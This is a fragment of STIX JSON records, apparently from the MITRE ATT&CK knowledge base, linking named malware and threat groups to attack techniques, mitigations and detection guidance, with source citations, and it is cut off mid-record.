Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. 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Retrieved May 11, 2021."}],"modified":"2021-07-30T21:03:09.052Z","description":"[Clop](https://attack.mitre.org/software/S0611) can search for processes with antivirus and antimalware product names.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ae6e66c-24db-4949-b5ab-ec37d8d86398","type":"relationship","created":"2019-06-21T13:49:44.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). 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(2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.330Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) can discover pluggable/removable drives to extract files from.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--329a2563-fc1b-4828-a6b7-d11d1d4ad429","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.","source_ref":"x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--822688d0-d948-414f-b26a-2110d222a233","created":"2022-03-22T14:38:15.243Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has dropped their malware into legitimate installed software paths including: `C:\\ProgramFiles\\Realtek\\Audio\\HDA\\AERTSr.exe`, `C:\\Program Files (x86)\\Foxit Software\\Foxit Reader\\FoxitRdr64.exe`, `C:\\Program Files (x86)\\Adobe\\Flash Player\\AddIns\\airappinstaller\\airappinstall.exe`, and `C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd64.exe`.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-11T18:54:27.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4303403-0d93-4267-ba4c-a1d4e20d87cd","type":"relationship","created":"2020-06-30T22:35:00.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-07-06T14:40:26.270Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has used a task name associated with Windows SQM Consolidator.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--58e6437a-e798-45a1-ae72-d6b4194daea8","created":"2021-09-16T15:12:59.900Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2018","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf ","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used various MS-SQL stored procedures.(Citation: Dragos Crashoverride 2018) \n","modified":"2022-04-12T19:18:50.345Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f2e62d0-5345-45dc-9e9d-46bb11c5f35d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"}],"modified":"2020-03-17T18:25:45.809Z","description":"[APT19](https://attack.mitre.org/groups/G0073) downloaded and launched code within a SCT file.(Citation: FireEye APT19)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0831323-de94-498a-8338-c60778bef95f","type":"relationship","created":"2019-06-21T17:38:45.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","source_name":"Corio 2008"},{"url":"https://technet.microsoft.com/en-us/library/ee791851.aspx","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","source_name":"TechNet Applocker vs SRP"}],"modified":"2021-10-17T14:12:33.391Z","description":"Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using application control (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--383eccfd-da19-4b2e-9e9c-0e36c876c2ee","type":"relationship","created":"2021-01-25T13:58:25.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-11T23:13:04.838Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) has used <code>cmd.exe</code> to add a persistent service.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90f294ee-9232-4392-9c9a-124be3f38e06","type":"relationship","created":"2020-09-29T15:45:28.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."}],"modified":"2020-10-06T15:44:25.178Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can execute command line scripts received from C2.(Citation: PWC WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96a7d789-70a9-42d8-a78e-b7ffd6c9dc69","type":"relationship","created":"2020-03-17T01:40:15.162Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.281Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) malware RoyalDNS has used DNS for C2.(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5842b656-f3d7-43f6-a6c5-7bdf238182a3","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for newly executed processes that may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Hybrid Analysis Icacls1 June 2018","description":"Hybrid Analysis. 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Retrieved January 11, 2021."}],"modified":"2021-01-13T20:16:23.597Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) used Windows API functions such as <code>MoveFileEx</code> and <code>NtQueryInformationProcess</code> as part of the [SUNBURST](https://attack.mitre.org/software/S0559) injection process.(Citation: CrowdStrike SUNSPOT Implant January 2021) ","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--329424c6-bea7-4b20-9e32-2a7db75f6281","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor network data for uncommon data flows. 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Retrieved September 20, 2021."}],"modified":"2021-10-15T19:57:15.157Z","description":"[JSS Loader](https://attack.mitre.org/software/S0648) has been delivered by phishing emails containing malicious Microsoft Excel attachments.(Citation: eSentire FIN7 July 2021)","relationship_type":"uses","source_ref":"malware--f559f945-eb8b-48b1-904c-68568deebed3","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b419439a-ab5d-4ff7-80c1-8300f29872d7","created":"2022-03-30T14:26:51.861Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trimarc Detecting Password Spraying","url":"https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing","description":"Metcalf, S. (2018, May 6). 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(2016, August 8). MONSOON - Analysis Of An APT Campaign. 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Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:04.994Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can capture screenshots of the infected system using the `gdi32` library.(Citation: Talos ROKRAT)(Citation: Talos ROKRAT 2)(Citation: Securelist ScarCruft May 2019)(Citation: NCCGroup RokRat Nov 2018)(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6572007-a3f6-40d1-bfd2-37abf6a63b58","type":"relationship","created":"2021-01-19T21:06:07.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec RAINDROP January 2021","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."}],"modified":"2021-01-20T15:00:22.799Z","description":"[Raindrop](https://attack.mitre.org/software/S0565) used steganography to locate the start of its encoded payload within legitimate 7-Zip code.(Citation: Symantec RAINDROP January 2021)","relationship_type":"uses","source_ref":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcd2604b-6954-4bd8-b0c6-22221b6dd1ce","type":"relationship","created":"2020-03-17T18:17:38.300Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). 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OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."},{"source_name":"reed thiefquest ransomware analysis","url":"https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/","description":"Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."}],"modified":"2021-04-26T20:02:14.787Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) exfiltrates targeted file extensions in the <code>/Users/</code> folder to the command and control server via unencrypted HTTP. Network packets contain a string with two pieces of information: a file path and the contents of the file in a base64 encoded string.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f2e2727-ffe5-42ad-93fc-e856303ca684","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}],"modified":"2020-03-16T16:40:40.349Z","description":"Some [Daserf](https://attack.mitre.org/software/S0187) samples were signed with a stolen digital certificate.(Citation: Symantec Tick Apr 2016)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a9df6783-2c1d-417b-8cee-d9738416a183","created":"2022-04-01T14:41:48.725Z","x_mitre_version":"1.0","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) has been used to execute `net view` to discover mapped network shares.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T20:23:29.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0cf8a56-e8e1-43b0-9efc-f167d1cf21de","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. 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Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:55.973Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may collect active network connections by running <code>netstat -an</code> on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--213916b1-76e8-4ebf-af96-fdd0f4a18e2b","created":"2022-03-30T14:26:51.838Z","x_mitre_version":"0.1","external_references":[{"source_name":"SanDisk SMART","description":"SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018."},{"source_name":"SmartMontools","url":"https://www.smartmontools.org/","description":"smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls associated with the use of device drivers and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.","modified":"2022-04-20T14:29:12.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0347a294-8928-4d15-8df2-44452b40afe4","type":"relationship","created":"2020-01-30T17:03:43.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=556","description":"Metcalf, S. (2014, November 22). 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(2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-17T00:09:26.165Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) communicates with its C2 servers through a TCP socket.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93bc896f-d2c2-4d6b-b231-fdc084aeed69","type":"relationship","created":"2021-01-22T14:43:59.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Chimera January 2021","url":"https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}],"modified":"2021-01-22T14:43:59.235Z","description":"(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79ecf1f6-a17d-4374-a84c-811669e39261","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-04-25T02:48:47.519Z","description":"To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an “Office Start,” “Yahoo Talk,” “MSN Gaming Z0ne,” or “MSN Talk” shortcut.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--935d1918-a1ea-4c46-b3b0-5c1d0f44a346","type":"relationship","created":"2020-10-09T12:50:42.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. 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Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2020-10-09T13:01:09.508Z","description":"[FrameworkPOS](https://attack.mitre.org/software/S0503) can identifiy payment card track data on the victim and copy it to a local file in a subdirectory of C:\\Windows\\.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"malware--1cdbbcab-903a-414d-8eb0-439a97343737","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b09075c8-6a45-4fd1-bdaf-c48a193bdd23","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. 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There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Tripwire AppUNBlocker","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. 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(2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.617Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has used keylogging tools in their operations.(Citation: TrendMicro Tonto Team October 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b2e0b6e-10ac-42c0-8d77-3ffc9cc654a7","type":"relationship","created":"2022-01-05T22:19:18.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-05T22:19:18.366Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has stored collected information and discovered processes in a tmp file.(Citation: Malwarebytes Konni Aug 